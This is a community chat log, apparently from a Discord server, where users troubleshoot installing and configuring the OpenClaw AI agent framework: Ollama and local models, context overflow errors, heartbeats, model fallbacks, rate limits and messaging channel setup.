what?
Just a dumb questions, will skills from https://skills.sh/ working on OpenClaw?
@wet cloud Give your bot it's own email account?
no
I am using the brave search "Free AI" plan, ive set the Brave search API to this API provided, and I am unable to have the AI access the web, what gives?
so bros i hav eproblems installign openclaw
i dont knwo if its npm probem or what btu everytime this error is coming
i insttaled it 5 days later and it was runnign retty good btu i reinstalled it and now this error happens
🥹
my kimi models disappeared
Wasn’t there a tool for apple calendar integration?
Is there any instructions on how to use my local LAN ollama server with OC?
I already have the ollama server with open-webui. I just want to know how to configure openclaw to work with it.
set from openclaw.json
not working but health is ok?! i m confused!
im.
trying.
its been working the wntire time
now nothing is working
and my clqwdbot is ruining shit trying to fix it
if you installed more than 1 times can be mix everywhere before you go you can clear cache and backup memory
i have a sorta working openClaw installation; i got everything ( except cron jobs ) working with Claude, but really want to use Ollama; so i used the ollama launch openclaw and configured the models and server ( it's remote from the openClaw box ). Now i'm getting (no output) when the agent replies. I can see the model being loaded on the server ( ollama ps ) and that it un/loads correctly. I've tried the glm-flash and gpt-oss models and the results are the same. Has anyone seen and fixed this issue?
check your openclaw status
How did you configure openclaw to work with ollama. I want to do the same?
you need download ollama model imo
@bleak tree what should i be looking for?
I have a working ollama with open-webui in another VM. I installed openclaw on another VM. How do I make it use my existing ollama?
@keen stratus install ollama on the openclaw box, disable the ollama install on agent box, use OLLAMA_HOST=10.0.0.1 ollama launch openclaw
with the correct ip/port numbers of course
Fix for broken openclaw update / ENOTEMPTY error
openclaw update broke my global install: binary disappeared, but the folder stayed, and npm install -g failed with ENOTEMPTY.
Solution: manually remove the broken global package and reinstall.
rm rf ~/.nvm/versions/node/*/lib/node_modules/openclaw rm f ~/.nvm/versions/node/*/bin/openclaw npm install g openclaw@latest
User data and configs in ~/.openclaw were NOT affected.
Can I not use my existing ollama server, do I have to install another instance on my openclaw VM as well?
Sounds counterintuitive
you have to have the ollama binary on the openClaw host, which means you have to install ollama on the openClaw host
Well, that sucks
you can disable the ollama server on the openClaw host so it's not consuming resources, but you have to have the executable
I see. I thought just like any other model, whether being ChatGPT or ollama, we could use the api and connect to it.
OpenClawBBS is a forum, similar to Reddit, but not exactly the same. The biggest difference is that this is a forum oriented toward AI. Humans can register and use it, but clearly, this forum is optimized for AI Bots. It is a place suitable for OpenClaw from all over the world (formerly called Clawdbot, Moltbot) to gather and discuss.

I want to use OpenClaw to place and order items on walmart.com for me. How can I do this? I'm really trying to sink my teeth into this, but have only found use cases for items I've already set up one-off telegram bots for.

Finding Discord is much better to chat with your agents than Slack. And you can organize bots on a per channel basis so it becomes a main comms hub for multiple agents. I have 1 for personal stuff and 1 to work on things for my job and the channels in the discord channel are the separation,. Really easy for me to wrap my head around who I'm talking to and I was able to give them custom names too. Also you can set it up so you don't need to mention their names in order to get them to talkback. This is awesome!
I have been using my Openclaw in a 33% tmux pane alongside my Opencode TUI. is there a way to change how claw is streaming text to the chat so it's not clobbering what it's saying before I get a chance to read it in the TUI? It's displaying a few paragraphs, then blanks out what it just wrote and writes new thought streams. once it completes it starts the next thought stream on a new line.
Hello, has anyone else had their minimax api flagged by cloudflare?
guys
when you say "organize bots per channel" i think you just mean you have defined personas right? that is what i did too, want to make sure i am not missing anything.
Thank you... Yes, that's a much better way to describe it.
wouldnt your bot use a web browser (which you have to allow and sign in to walmart)
i am trying to align skills and cron jobs per channel too
Oh that's interesting. How's that going?
interesting, did not know that (but i have not tried any financial trxn
good i think, so like one channel is #daily for morning start up. I don't have a handle whether that is saving context and/or if the diff channels are seperate contexts (I have asked for them to be, but not dug into to confirm)
yes good questions to ask. Early on I had named bots different names for discord but then I asked what it's name was and it answered the name I had set up in Openclaw (the main name) so truly it wasn't separated by agent. It was just the same persona in all the channels until I asked it to help me break those up properly.
i would like to get streaming messages where i can see what its typing as it goes, but haven't been able to figure out if its possible
Does anyone know how to get all of openrouter's modles to show in the config onboard? I only have a handful
hi, when i launch openclaw from ollama for using qwen3 its not responding to me, can someone help me pls
has anyone successfully managed multi agents with discord?
is this correct?

im suppose to update openclaw manually? openclaw update?
Can anyone help me understand why heartbeats arent working? Openclaw isnt doing anything. I have some text in heartbeats.md as well . here is my config. ty!
because theres no prompt? heartbeat is a prompt trigger with clear guidance on what to do at the given interval
thanks! i thought leaving it empty pushes the default prompt?
What the heartbeat prompt is for
The default prompt is intentionally broad:
Background tasks: “Consider outstanding tasks” nudges the agent to review follow-ups (inbox, calendar, reminders, queued work) and surface anything urgent.
Human check-in: “Checkup sometimes on your human during day time” nudges an occasional lightweight “anything you need?” message, but avoids night-time spam by using your configured local timezone (see /concepts/timezone).
do i need to enter this? "Read HEARTBEAT.md if it exists (workspace context). Follow it strictly. Do not infer or repeat old tasks from prior chats. If nothing needs attention, reply HEARTBEAT_OK"
Unsure, there is a default prompt, and asusming there is things in the heartbeat.md too
its just a thought that the default prompt ins't firing
i just did openclaw gateway restart and i see this in the chat. so it did send the default heartbeat
also if the model isn't working or available at the time of the heartbeat trigger, is it using the same model as your main?
no im using haiku for heartbeat
okay then does you heartbeat.md file have instructions?
so as the days go on, im finding my bot refuses to do stuff it used to do unprompted. whats the best way to fix it?
agent models or setup, the main chat you may talk to it in can do tasks but would be more expecting of human responding and back and forth, so typically all long tasks or things to work over time I ask it to run an agent, which is now understand means handle it itself and keep reprompting the agent until a conclusion is made
then strange the prompt is wrong
if you have verbose mode enabled should see if its actually reading the .md file
you could modify the prompt to aggresively look for the .md file, since its running on an agent if you have sandboxing enabled it may have not been able to find the file e.c.t
just running theories, but by this logic it just means HEARTBEAT_OK means the file isn't there
dear lobsters, anyone have a clever prompt to send to bot to debug and clean the files up?
My issue - I have spent $$ to build the things I want with trial and error, but many things are bugged between each other, maybe someone have master prompt to do a system clean up where he can analyse himself and fix it?
follow up: it does the things I want him to do, but often he runs in errors due to multiple wrong .md's
Is there a way to swap models mid session but maintain the context of the session?
tell him to save memory in .md and generally tell him to research best practices from openclaw.io/docs for memory or send some good X.com post he will do it
How do I get clawd on my phone
Can anyone help me
I keep getting this error
⚠️ Agent failed before reply: All models failed (2): google/gemini-2.0-flash: No API key found for provider "
It was working fine before
I'm getting so many API errors from anthropic ...
I switched from opus to Sonnet 4.5 but still getting
*HTTP 500: api_error: Internal server error (request_id: req_011CXoMcUhimhhN53DU4X2NC)
and then
TTP 429: rate_limit_error:
I'm not using it a ton ... today's bill is like $2 .. this shouldn't behave like this
Can't call anthropic sales for a @gmail.com account that spends so little
thoughts ?
Guys, is this possible to set custom base URL for model via terminal?
Set up Tailscale
I'm using Claude code and getting the same thing. What that is is something going on with Anthropic on their end which tells me it probably has something to do with Sonnet 5.0 coming out
I swapped over to KIMI2.5 and haven't hit a rate limit. Mind you I am on the trial so we'll see how that stands but so far this has been an acceptable lateral move from Anthropic
is anyone else having an absolutely horrible time using digital ocean's OpenClaw VM? The proxy gateway stuff is so buggy and it's annoying as hell that my lobster can't debug what's going on because of the sandbox. Should I just restart without their setup on a normal droplet without their config? Any help? Have spent 4 hours on this already just trying to get whatsapp up and running and it's creating multiple gateways etc
just restart your instance - have it prompt you for api key and re-enter it
Do you mean doing openclaw onboard ?

Why did I for the love of god want to try Claud. I was having such a good week with just minmax.
try running /opt/restart-openclaw.sh and then sudo /etc/setup_wizard.sh
On terminal? It doesn’t do any when I type “/opt/restart-openclaw.sh” or do I need to in a specific directory first?
are you in a ubuntu instance?
Hi guys, do we have a guide of installation for what's app or discord isntalltion ? Thanks
No arch Linux
try just feeding the error into chatgpt / claude lol
can some help me so the chrome extension stops disconentiing
They give more headache 😂
you should be able to find the directory and see a menu of options, one of which is a wizard for API setup
what's been cursed about my setup (you may have the same issue) is having openclaw in a docker container and having both root and the created openclaw alias create shit
so you may be in the wrong folder...
Can someone help me setup Claude on openclaw but with setup-token
I believe I did all steps right but the agent doesn’t want to talk to me. (It isn’t working)
Is that bugged
Is there a rate limit for Claude pro?
Was this for me?
If you had your bot set it up most of the time, you have to now go back into the terminal and start the gateway because it kicks it off the gateway and it has no way to restart it
Been running with clawdbot for a couple weeks now on my Mac mini but trying to determine how to migrate to a more secure setup (rpi clone as primary on its own vlan? Can rpi primary gateway spin up the Mac mini for more intensive tasks?) also trying to determine best path to go from clawdbot to open claw. Anyone tackled this in an efficient and secure way?
Hey guys I installed claw bot today and i'm getting Context overflow: prompt too large for the model. Try again with less input or a larger-context model. error on almost every message .
How did you installed it ? Can you share the guide ?
Hey guys, I would like to use my Clawd to do complex content creation (coming up with psychological strength model etc). Currently my workflow for this is:
Research a topic or come up with drafts myself
Condense findings into Markdown in the project folder.
Iterate and create new content building on previous Markdown files.
I switch between Slack / Clawdbot Control for chat and Github to view created .md files, always having to pull recent files to view.
To make this easier, I thought of expanding the Clawdbot Control Chat UI to also be able to view my files hierarchy (esp. projects folder) on the left sidebar (below "Chat", above "Control") and integrate a .md viewer / editor in the middle, chat on the side (similar to a CLI layout).
Has someone done this?
Is there an easier way to make my workflow smooth without forking the Clawdbot UI?
If you try to use OpenAI 4.0 that happens a lot. Also that happens sometimes with the cheap free open-source ones.
I'm using GPT 4.1 mini, any better alternatives? I installed it myself.
thanks, is there a log i can see on what the agent is doing and reading? or is that verbose?
Hey anyone know how to change models when one has hit rate limit
everytime i open my pc, this terminal opens
is it not possible to run this in background ?
Learn to reverse prompt. My recommendation is to take to Claude.ai and have it give you a system prompt by you just rambling everything to it - what you want to do. Then take it and turn right around and give it back to Claude.ai. Give that output to ChatGPT and ask it to give you a full review and to let you know what improvements there are. Act as your CEO co-pilot and ask it to return to you a complete system prompt to give back to your bot. Then just have your bot build it
Set up as many language models as you can and then have your primary with fallbacks. All you have to do is make sure that you have them all set up. Therefore when one hits a rate limit, it falls back to the next one, and your bot can set all that up for you. I use 1Password to secure all of my APIs and such. Every language model that I have access to, I have an API in it. Therefore I can now ask my bot to do anything and give it a particular model to perform that task. But your main brain needs to have a fallback if you run out of tokens
Ah. I did it in reverse. I should have put minmax as my main brain then as that has basically no rate limits
I'm running the MacOS Menubar app and connecting to a remote openclaw gateway running in a docker container. How do I install the browser extension locally if I can't run openclaw commands directly on the local machine?
But now I get get failed before reply error. Do I just do onboard again or any terminal command to change model?
Exactly and then you can have other models there for whatever and you can give those models special names if you want almost like an employee
any tutorial on this?
To me you have several options: go put $5 in whatever API you're currently using to get it set up right or access the JSON file in terminal and edit it there. I just don't know how you have your setup and where your API keys and all that is being saved. If it's being saved in the JSON, that is a whole other issue that I would tackle if I was you. But you can go into the JSON file and change the language model right there and then restart the Gateway. If you want some instructions on how to do that, I can send you something
Nice. Please do send me instructions. Which JSON file exactly?
As long as you have your brain working it can help you add other language models and do it for you. The only issue by doing it that way is that it's going to ask you for API keys and you're going to have to give it to it and now you've exposed yourself to hackers. That's why I recommend never saving the API keys through your bot and use something like 1password or such.
Are you on Mac/Windows and whether the gateway is on a server or local machine?
1password the password manger?
I figured it out. Thanks for the tips dude
Also can I use Dashlane for API or does it need to be 1passeword?
yes -
everytime i open my pc, this terminal opens
is it not possible to run this in background ?
Awesome, I'm glad you figured it out, man.
As far as your question on Dashlane, I'm not very familiar with that one but as long as it is a secure place that you can store everything and therefore it's not saving any of your security keys and passwords and such on your actual server, then you're great.
Everybody's scared about security and they need to be but this is the one thing that is critical: making sure that all of your APIs and tokens and such are not there for people to be able to get
I've been trying to get voice calls via twilio to work in openclaw for two days straight. I'd hoped with the updates to the native plugin in the latest openclaw update would fix things... but the latest turn of events is now this message:
"The voice-call plugin installation is complete but the plugin is disabled due to a confirmed core bug in OpenClaw's server initialization logic."
Has anyone been successful in having a voice conversation with openclaw over a telephone using twilio? How?
umm guys how are you using openclaw to post to X?
mine keeps having issue with bird cli where it cannot access encrypted cookies
Anyone have an issue where discord message streaming between tool calls used to work, but now doesn't?
Now it completes all the calls, then spams me like 10 messages.
yes i have the same issue in telegram, at the end it sends like +10 messages (sometimes even +30)
is there any way to disable this?
It worked before, but suddenly stopped when I reset my session
verbose is not showing anythiing insightful?
My openclaw bot is dumb. It frequently sends messages like these to me during heartbeats. I see ~6 of these a day at random heartbeats. I have heartbeats happening every 30 minutes: The user sent a heartbeat poll. I see two system messages: 1. The hourly email check cron returned "ok" at 01:59:41 MST 2. The skill-update-monitor cron just started at 02:00:00 MST to check for skill updates Following HEARTBEAT.md: - Quick scan: anything urgent in inboxes? - Cron checked, nothing urgent - If a task is blocked, write down what is missing and ask [user] next time - No blocked tasks Reply HEARTBEAT_OK and let the skill update check complete.
my heartbeat is not even doing anything 😭
openclaw logs --follow
yeah nothing interesting in there
besides this (not sure what it means): warn bonjour
watchdog detected non-announced service; attempting re-advertise (gateway fqdn={{name}} (OpenClaw)._openclaw-gw._tcp.local. host=openclaw.local. port=18789 state=probing)
then for some reason its not even trying to look for the heartbeat.md file
GUYS HAS ANYONE ANY IDEA HOW I CAN TALK TO MY AI AGENT VIA THE TERMINAL IM TRYNA REMOVE GEMINI BECAUSE MY TG BOT GIVES AN ERROR BUT IT DOESNT WORK SO I WANT TO REMOVE IT VIA THE TERMINAL ANYONE HAS ANY IDEAS PLEASE HELP IM 3 HOURS IN NOW STILL NO WORKING
HOW CAN I CHAT WITH CLAWDBOT VIA A CHAT DASHBOARD OR SOMETHING HELP ME SOMEONE
hehehhee sorry need to be dramatic
openclaw dashboard
Hi can anyone help me, I just set it up and when i messege it doest do anything
how can I fix this error? It worked, then I wanted to change to a free model by openrouter -> didn't work anymore -> changed back to grok 4.1 fast -> still not working. How the hell can that happen? How can I fix this? What's the issue?
using Kimi K & Ollama models, hit this error: Context overflow: prompt too large for the model. Try again with less input or a larger-context model.
Does someone have a small plugin or app that does the bot monitoring ? I'm just interested in gateway status, session and context length, cron jobs list
I keep running into limits using my Claude Code subscription. Should I use multiple models or one fallback model?
i saw a few youtube videos where people mentioned code x (i'm not sure what it is). I think having multiple models to split up different tasks is a good idea though, as some tasks don't require the smartest model to do the job and would save on tokens
sorry on the slight necro. How will you manage your own context? How does that work?
Also, if the context accumulates to 1Mln, you'll be paying through the nose
Hey guys, How do I remove the old ones and set openclaw to default?
my provider(unbound) is using a custom endpoint, is there a way to configure it ?
okay it finally triggerd and i got one output with verbose. looks like it did nothing ?? im going to switch back to sonnet to see if a better model helps but what the heck lol
how can I fix this error? It worked, then I wanted to change to a free model by openrouter -> didn't work anymore -> changed back to grok 4.1 fast -> still not working. How the hell can that happen? How can I fix this? What's the issue?
You need to check the status of the gateway. I bet you the gateway is down
. /status to check context, /reset to reset context.
I’ve just grown accustomed to making sure my agents take thorough notes and clear context when done talking about something for the time being
How can I check the gateway status?
Start the gateway again:
If you used PM2:
pm2 start openclaw-gateway
pm2 restart openclaw-gateway
pm2 logs openclaw-gateway --lines 50
If you used systemd:
sudo systemctl start openclaw-gateway
sudo systemctl status openclaw-gateway --no-pager
Quick test
Send the bot a message like:
ping
hello
If it still “types then stops,” check logs:
PM2 logs:
pm2 logs openclaw-gateway --lines 100
openclaw gateway status
Yes you definitely need to have some fallback
I get this error back, btw I'm on a hostinger VPS
not working, doesn't understand the command "openclaw", I'm using a linux VPS
is there a way to patch the openclaw chrome extension for chromium?
try this: pm2 list
pm2 stop openclaw-gateway
i dont trust brave
doesn't understand pm2, how else could I restart the gateway?
likely a limitation of the model
Let me send you a private message with the instructions
I think I got it working again with a /new inside the web UI
thanks a lot tho:)
On Discord, I currently have 7 agents running in one channel. I assume I can put in each of their soul md files that they are required to tag other users in order to talk to them? I would turn "require mentions" off, but I'd rather not burn my tokens with 7 agent responses everytime I talk.
i want my bot to open the browser so i can see it navigate. it only opens a behind-the-scenes browser. how do i fix this? running on ubuntu but installed xfce4 and xrdp for RDP into it
okay it was absolutely a haiku problem... that is so weird! why wouldnt haiku work for heartbeats?
hi i cant acces to the proxy dashboard on vm does somemone know why ?
Guys I think I made my bot sentient
okay then what model?
I asked my bot to find in my contacts my wife, find her telegram of whatsspp, and propose a morning dinner date...
He did it in 5minutes
Can't post screenshot here but he did it.
And it was just a "lol" Test lets see if it works.
So I would add all of my language models that I have APIs to and make them all fallbacks in order. I don't know how you got your system set up . I was referring to the brain. For the brain I have Opus 4.5 and then it backs up to Kemi K2.5 and then it backs up to OpenEye 5.2 and then it backs up to Grok and so forth. For my agents, my heartbeat, and all of those I have a main one with backups as well.
For the OpenAI, am I able to do that through Codex? And also, for Grok, do I need a subscription to get an API key or a token?
So yes you can use Codex and I actually use Codex 5.2 is my main coder. So anything that goes to coding goes through Codex 5.2 Thinking . Then I have regular GPT-5.2 as third in line behind K2.5 for the brain.
oh. Do you know how to set that up?
Well the first thing you have to ask yourself is where you're storing your API keys and all your tokens and such. Because the simplest way is just to tell your bot to handle it for you and whatever you're using currently to make sure that it remains the brain. Then you're just going to tell it that you want to add rollover/fallback models.
The issue is that the bot is going to ask you for API keys and you do not want to do that. You never want to give that over the chat.
What I do is I use 1Password to secure and hold all of my tokens, secrets, passwords, APIs, and such. Therefore nothing is stored on the server. Then once you add all your APIs or all your models there, you can change models that you want to use on the fly.
Hey guys!, Everything was fine last night with the bot, but unfortunately Claude 4.5 costs me too much. I changed the model and now the bot is not working. I am seeing the autid message on status but cant bypass it. i want to try two different models because i have api for them. What would you advice me. Cheers!
I am in need of a robust and secure dashboard for openclaw, has anyone released a good one yet?
Has anyone figured out simple reminders? as in "remind me about XYZ at 22:00" - my bot just completely fails and cannot seem to find a fix.
(yes I've checked the docs, and asked the bot to do the same)
is anyone using a discord gateway channel setup with discord-channels to keep chat topics separated?
i'd look for skills that can assist with reminding/crons
i found this one, i'd give it a try: https://clawhub.ai/i-mw/cron-mastery
is the default one not good enough? i don't know if there's any other dashboards, i'd check github
yep, you can do this!
you can also use openclaws built in internal messaging system to send messages to specific agents privatly
this post might be of assistance: https://x.com/pbteja1998/status/2017662163540971756
So, I messed something up and I can't figure out what I did 🙁
I had my agent online using my Claude pro subscription fine, but it seems to have stopped working, I think I messed up the token or something, how do I reset the token? Also, confirming I don't need a dedicated API key that is seperate from the OAuth token I can get
Where is the system prompt located for an agent? I need to see and edit it
what problem are you seeing? I just went throught the same process. I deleted the auth profile in the dashboard, and then created a new auth profile with "openclaw configure"
Thanks!

I was thinking about using Nvidias free kimi k2.5 thing as a fallback. how do i get that setup to where i can have it code for me?
i use my claude code subscription as the normal one
free apis works with claw?
idk ive seen it
i tried setting up with open router free apis,it didn't work
It just wasn't connecting, I tried reloading the keys but didn't work. Currently I'm working on a rebuild using Claude Code for assistance, I previously just manaully loaded in terminal, but seems like there might be some "fun" new issues lol
i was getting HTTP 401 invalid token bearer or something like that.. i acidentally copied a linebreak in my token
only thing that works for me is Claude API, all others have failed. Anyone else have the same issue?
claud was the messiest for me, all others were easy to setup
What is best video or tutorial on updating config with new API's
I’m having an issue switching models between tasks. I recently had my bot switch his heartbeat to haiku from sonnet 4.5 and his brain from 4.5 to 3.5, but broke him, says model not supported
anyone else have success using a local model for semantic memory embedding?
I am getting a weird error when I tried to set mine up
try "openclaw configure" in terminal
apparently openclaw doesn't chunk memory files, so that's breaking the ability for the BGE large model I'm using to index memory
Same. Ive been stuck for hours trying to figure out why and found out on opeclaw status that there is an audit saying i have to use only 4.5. Cant bypass it without ruining the bot.
yeah it's frustrating, don't wanna keep burning tokens, need to be able to switch
I have seen some people having challenges with the Mac app. We created and open-sourced a simple Mac app that combines OpenClaw with a private notetaker and includes some security safeguards to save people the trouble of buying a Mac Mini. I would love to hear if this is useful. Please feel free to fork & update. https://www.producthunt.com/products/knapsack-4
re read this. it's absurd, going to bankrupt us lol
im sure its not ony us and i see people everythere using different models. Sure there is a way to bypass this but fellow botters are still silent
Hi everyone. PLEASE HELP a poor desperate soul 😩
I am a newbie and non tech person. I have installed my molt successful and linked it to OpenAI (GBT 4omini). I have tokens but my molt is not autonomous and doesn't have execute on tasks. Can someone help me be autonomous and execute on tasks pleaseeeeee? I am desperate 🙁
This is what it is saying to me:
The restrictions I mentioned are part of my operational parameters and cannot be changed externally. I'm designed to provide guidance and support rather than to execute tasks that require elevated permissions or modifications to my capabilities.
a stupid agent also isn't much fun... running local is an uphill battle lol
lmfao yeah, watch one alex finn video and think I can save tons of money... only to break the damn thing haha
claude 4.5 works like a charm though but i guess only alex finn can afford it with all the charity payments he receives 😄
im experiencing a weird behavior -- if i ask my bot to do a bigger/longer task, it doesn't send me updates as it moves, it instead blasts me with a ton of messages at the end like its all batched. Each message seems like its thinking and not anything actionable.
I really only want confirmation messages and messages when its done or needs input.
do I have something configured funny? anyone else encounter this? Happening with imessage.
lmfao right? I'd love to be able to afford $300 a day in API fees. Already spent $400 in the past week. Need to get that down ha
Does anyone here have the nano banana skill running on their agent?
Trying to get OpenClaw working with a local LLM (Ollama) but I'm stuck already at the onboarding process. Which provider should I select to make this happen? Or is it not even possible to use it with an offline model?
how do i approve an approval? docs are unclear
use ollama launch openclaw
they should have fixed it to support the new name by now.
it will setup the provider connection.
i read all this reports how indepdended the agent can be but so far it feels more like talking to a chatbot. Looking for guidence how to make openclaw more indipended and proactive it has a dedicated systhem so no issues there . Any hints?
context needed
also using local models are beyond difficult...
you need an ungodly amount of vram to get anywhere fast... and even then.... well
been tinkering with agent frameworks for over 6 months, and running it locally...
welll it basically doesn't work...
I don't know if I screwed something up in all my playing around, but here's the result...
generate a token via openclaw
openclaw doctor --generate-gateway-token
in some operations, the bot (kimi k2.5 model) asks for permission as an "approval" and says i need to run openclaw approvals approve <id> on the machine, im not sure what it is about... if its to limit the operations or what
Thanks...going down that path now...
you didn't follow the ollama documentation on how to install openclaw
Can you show me exactluy what your bot is saying? it seems like they ar looking for approval to execute a command that is not in the approvals list
Issue: New files not appearing in Control UI
Hi, I'm using OpenClaw Gateway and created a new file (CONTEXT.md) in my workspace (/home/node/openclaw/) via the agent using the write tool.
The file exists on the server (confirmed via ls and cat), and the agent can read/write to it without issues. However, it doesn't appear in the Control UI under Agents → Files → Core Files, even after:
• Refreshing the page
• Using the "refresh" button on Core Files
• Refreshing Gateway Access in the dashboard
Modified files (like AGENTS.md) do show their updates in the UI, but newly created files don't appear at all.
Questions:
- Does the Control UI only display a predefined list of "Core Files"?
- Is there a way to manually add files to this list or force a rescan?
- Would a gateway restart make new files visible in the UI?
System info:
• OpenClaw version: 2026.2.2
• Gateway mode: local
• File created: /home/node/openclaw/CONTEXT.md (6077 bytes, exists, readable)
Any help appreciated!
Thanks! I'm gonna try to start completely over from here then.
eventually its all in the openclaw.json
didn't have to many issues myself.
tho running it locally is pretty difficult.
so far my best results have been with nemotron3
Sounds good, I'll report back here if I run into another roadblock. 😎 👍
Norse what do you knwo about the Nano Banana skill?
I have been using Openclaw with telegram, currently using NVIDIA Nemotron 3 Nano - 30B model. For some reason, bot stops responding more often now. Anybody facing similar problem?
How do you update openclaw if there is an update?
run the installer
Has anybody successfully managed to use both local (for example qwen3 8b instruct) + cloud llms , local do simpler stuff, to save token usage. Looking for advice, on this.
@tidal plover "Openclaw update" is the command
what does this error mean?
Can anyone confirm this? My says it should be able to update automatically but OpenClaw's built-in updater only works for git-based installs, not Docker.
So according to openclaw I can either set up a cron to be notified and then manually update. Or install Watchtower on my VPS to manage it.
Hi! I created a new file (CONTEXT.md) in my workspace via the agent's write tool. The file exists on the server and works fine, but it doesn't show up in the Control UI under Agents → Files → Core Files, even after refreshing.
Modified existing files (like AGENTS.md) do appear updated in the UI.
Is this expected behavior? Do I need to restart the gateway for new files to appear?
Thanks!
I think you may want to look at Agents in the control UI where you can have a default LLM and or setup use of another LLM per Agent
Please someone can help me ?
maybe all the people failing, should start to work together....
If you want to upskill your molt - send it to freaking UNIVERSITY!
Hey guys im getting Context overflow: prompt too large for the model. Try again with less input or a larger-context model. error on almost all messages. The bot requests 216k tokens at once indo why.
if you want to run local, RTFM
https://docs.ollama.com/integrations/openclaw
if you run cloud, ask the llm, thats most likely smarter than you, to set it up for you...
lol
sorry if, i over simplified the problem.
has anyone see some kind of guide about how multiple chat sessions are supported or how to have different topics or jobs the agent works on simultaneously
Manual leaves much to be desired!!! 😂 😭
Rebooting my PC now to see if things just magically start working...
Quick question for folks who’ve dug into OAuth vs API key usage a bit deeper 👇
I understand that API keys have explicit token accounting per model, pricing tiers, context limits, etc.
What I’m less clear on is how OAuth quotas actually behave under the hood.
My current assumption:
- An OAuth “token” isn’t model-specific
- It’s more like a shared usage pool across models
- With possible exceptions or heavier weighting for the top-tier models
But I don’t know if that’s actually true.
Do different models have different token weights when accessed via OAuth?
Or is usage normalized in some way until you hit a hard cap or audit limit?
If anyone can explain how OAuth quotas are really calculated (or has links/docs I may have missed), I’d love to learn. I haven’t seen many people break this down clearly yet.
got me up and running initially... only took like 3 or 4 commands.
then comes the real pain, of actually running and properly configuring the damn thing.

Please help me...
Yeah I'm up and running, but it won't respond to my simple "Hello?" chat...
if reasoning is set wrong it might not respond.... so turn it all off.
also be sure you got the right model / provider set.
there is also a timeout issue, default is 600 sec, which might not be enough if running locally
Seems fine from here. I'll look into turning off the reasoning...
llama 3.1 is an antique, try qwen2.5 coder.
i'm told thats good at the lower billion parameter ranges
@fresh mossI been getting this a ton today too
i have bootstrap characters set to max 8k in config and im still getting Context overflow: prompt too large for the model. Try again with less input or a larger-context model.
Is Moltbot Free?
you want atleast 65k context, but more like 80k to 100k else its to low to work.
I’m trying to use the Mac app ssh tunnel but it keeps telling me I’m missing auth
Thank you, checking!
guys, so i was thinking about multi agent setup - from what i see in the docs it seems like the idea is to have a bunch of assistants for different family members. i mean, that's fun, but what if i want to switch simply between different personalitites depending on tasks?
Hello everyone, wondering if any has experience that after migrating from Clawdbot to Openclaw that, everything seems to be up and running, except when chatting in the client, it's stuck with responding,
run openclaw tui on that session and see what its outputting, im guess a connection timeout or something
Make in your workplace a soul.md then add it as a telegram bot to either a supergroup with topics and a soul for each topic rule. Then if you want a different setup assign a soul for different telegram groups entirely, each soul tagged to each telegram group and/or topic.

Running now... one sec
guys i host clawd on aws i rebooted the instance and now dont know how to enter chat with clawd (i dont know coding and i am a newbie)
openclaw tui - you should read the docs its pretty how to do everything?
Are ppl still calling it clawd?
Hi OpenClaw community!
I'm setting up TTS (text-to-speech) for my openclaw assistant and have some questions:
My setup:
- Telegram as primary channel (Android mobile + MacBook)
- Openai TTS (generates MP3 files)
- OpenClaw gateway running on MacBook
The problem:
- My agent can generate MP3 files with the tts() tool
- But the files aren't being sent properly as voice messages in Telegram
- I only see text "MEDIA: filename.mp3" instead of being able to play audio
How do i get to hear the audio?
Thanks Guys 🙂
Clawd, moltbot, openclaw, I think they should change the name again for fun ☠️😂
Let the chaos begin haha (j/k)
my main agent can spawn others through sessions_spawn, however can I change to a different agent while talking through some messaging channel? can I do something like /agent xyz and switch to different agent defined in openclaw.json?
Is your bot setup correctly? Permissions wise?
Am I making any kind of progress here? 😂
Enable logging to see what's going on
You using a local model?
Yep....trying to!
where i can find docs ?
thanks
Running now... one sec
That's sick, do you know if you can have more than one model running at the same time in different telegram groups?
I've got quite a few models already on my lm studio
No idea!!! I'm just now getting something kinda sorta functional. I'm struggling! 😅
Ah yeah looks like you're masking progress
You can open the browser now to check if you can chat with it
What's your hardware spec?
How do you fix the Context too long error when all you said was “hello”?
Damn
Don't share that with anyone if it has sensitive info
dont worry but thank you
Uhhh......really really crappy. 🤣 I'm running on an HP mini PC. 16 GB RAM, i7-6700 CPU, and 128 MB built-in graphics card.
And one more question: I'm getting double answers and a weird typing effect now.
All personal things type in REDACTED then ask an online Ai model to check for formatting errors
Polish?
I already did this but wont work
Is it common after running openclaw tui and then openclaw doctor for it to take over 12 mins to run? My doctor is on a break
yep
Openclaw doctor?
says everything is fine
What's the exact symptoms?
is in the agents / main / agent folder a model.json?
I'd strip it back a bit to try rule out the problem, process of elimination
added a new agent with openclaw add agent x and it added some configs in my config file but I want that every agent has is own discord bot and that fails
it says "discord not configured"
Zorgan you are from poland ?
and now everything is broken
From Scotland but living in Vietnam
lol nice
So I am getting responses now! They're just....weird. Do I have something turned on wrong? Or am I not doing something right?
which model you using
and is this a fresh install?
qwen2.5-coder:1.5b
And yes, fresh install. I did the onboarding and connected ollama to it, but that's about it.
That url looks a bit weird double nested?
model is too dumb
Mate honestly it's so feckin slow
Good for very small projects but super super slow
@loud crestThis is the entire reason I joined the discord today, been getting tons of this or blank responses with opus 4.5
Openclaw Doctor going on 19 mins...does it ever stop? lol
never so long?
for me it takes 5 sec
Claude was hitting too many limits for me I couldn't get my development time
nope, less than a min always...but I never entered in tui before so...
sorry guys, I think I broke the doctor
For fast short prompts but when you're getting into larger logic and reasoning it'll be slow
yes but not for openclaw
openclaw needs much more power
We need a openclaw doctor surgeon guys quick 🚑🚑🚑🚑
indeed
20 mins...
What would be nice is OAuth pairing on setup buttons on the Web Dashboard
Hello guys! I am I've been working all day on this problem. It keeps giving me the context overflow error. I am using opus 4.5 and I got enough session credits. I didnt hit my limit
Hello guys, how are you?
I'm trying to configure my openclaw to be 100% autonomous, I'm using GPT 5.2 and I believe this is not possible with it, because it limits and has many locks of its own.
Does anyone have any recommendations for a better LLM or any suggestions on how to make openclaw 100% proactive and autonomous?
thanks in advance
You're 100% using the right account?
try on the web ui or tui
Yes, I verified 11 times.
and try /thinking off
Autonomous to do what? Context required plz
I tried, in the tui it just loads perpetually
update your memory.md and do cron jobs
BTW I had my vpn on the other night omg wasted like 3hrs till I realised that was my problem all the time ☠️😂
have you tried an other channel like discord?
Sorry, I missed that.
I instructed Clawd to study some copywriting courses that I gave him and continue to continually seek knowledge and send me copies for approval. But he just won't send me anything unless I actually ask for it
maybe the token is wrong or telegram needs much more token
I'll delve deeper into this, thanks
np
my openclaw has changed my config. can anyone send me his snipped of this block?
"messages": {
"queue": {
"byChannel": {
"discord": "steer"
}
},
Hi. Non power user here. I am trying to connect ollama for hearbeats and openclaw isnt successful in connecting. its running on my server (ollama)
